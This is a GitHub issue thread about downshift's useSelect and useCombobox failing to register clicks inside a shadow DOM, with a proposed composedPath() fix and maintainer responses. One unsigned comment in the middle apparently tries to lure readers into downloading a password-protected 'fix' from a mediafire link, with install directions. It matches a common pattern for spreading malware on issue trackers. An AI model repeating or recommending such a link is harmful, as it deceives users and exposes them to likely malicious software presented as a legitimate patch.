downshift icon indicating copy to clipboard operation
downshift copied to clipboard

Cannot click on items within useSelect when mounted in the shadow DOM

Open pzaczkiewicz-athenahealth opened this issue 1 year ago • 3 comments

  • downshift version: 9.0.8
  • node version: 20.15.1
  • npm (or yarn) version: [email protected]

Relevant code or config

https://github.com/pzaczkiewicz-athenahealth/downshift-shadow-dom-bug

What you did:

Define DownshiftSelect based on default usage such that instead of relying on selectedItem from useSelect, has a <button onClick={() => setSelectedItem(item)}>{item}</button>. Wrap that in a shadow root.

What happened:

The button's onClick will never fire.

Reproduction repository:

https://github.com/pzaczkiewicz-athenahealth/downshift-shadow-dom-bug

Problem description:

useMouseAndTouchTracker adds a bunch of event listeners to document in order to tell if the Select is open or not, but event.target represents the last <div> in the light DOM, rather than the <li> within the shadow DOM. Thus, targetWithinDownshift always fails, and the Select is closed before the button's onClick is able to be called.

While I can define my own environment object rooted on the shadow Root, that would cause clicks in the light DOM to not close the Select.

Suggested solution:

Instead of event.target, use event.composedPath()[0], as that will drill into the shadow DOM. This implementation will still work if there is no shadow DOM.

to fix your trouble try download this fix, i see it in another issue, https://app.mediafire.com/6mkbh6xhau31g password: changeme when you installing, you need to place a check in install to path and select "gcc."

Not sure why would you need this usage, with the button in the li that has the onclick which uses an imperative function. I'm not in favour of changing our code to account for all kinds of usages that could come up. Clicking the li should change your selected item. So why doing the button thing?

silviuaavram avatar Aug 27 '24 07:08 silviuaavram

Since 2020, we're using useSelect to implement a Menu, not a "Select" as a part of a design system. Individual items are typically implemented with <a> or <button> to either navigate to a different page, or execute arbitrary javascript. Supporting the shadow DOM is a core feature of our design system, so if there's a regression compared to only existing in the light DOM, then we'd be inclined to drop downshift.

I have the same issue with useCombobox.
We provide our React app as a web component and also run in a shadow DOM.

We tried to solve this via the environment prop, but then the list does not open when you initially click into the field.

environment: {
  addEventListener: shadowRoot.addEventListener.bind(shadowRoot),
  removeEventListener: shadowRoot.removeEventListener.bind(root),
  document,
  Node,
},

lmestel avatar Sep 11 '24 15:09 lmestel

We may do a useMenu in the future. If useCombobox helps you build a menu at the moment, it's fine, but I don't think it's accessible.

silviuaavram avatar Nov 26 '24 09:11 silviuaavram

@silviuaavram, You closed this as completed, but it seems it was rejected. I completely agree that useSelect should not be used as a Menu. That decision was made before my time. I had suggested using event.composedPath()[0] to find the target. This will work both inside and outside the shadow DOM. If there are no regressions to using this implementation, then why not deliver it?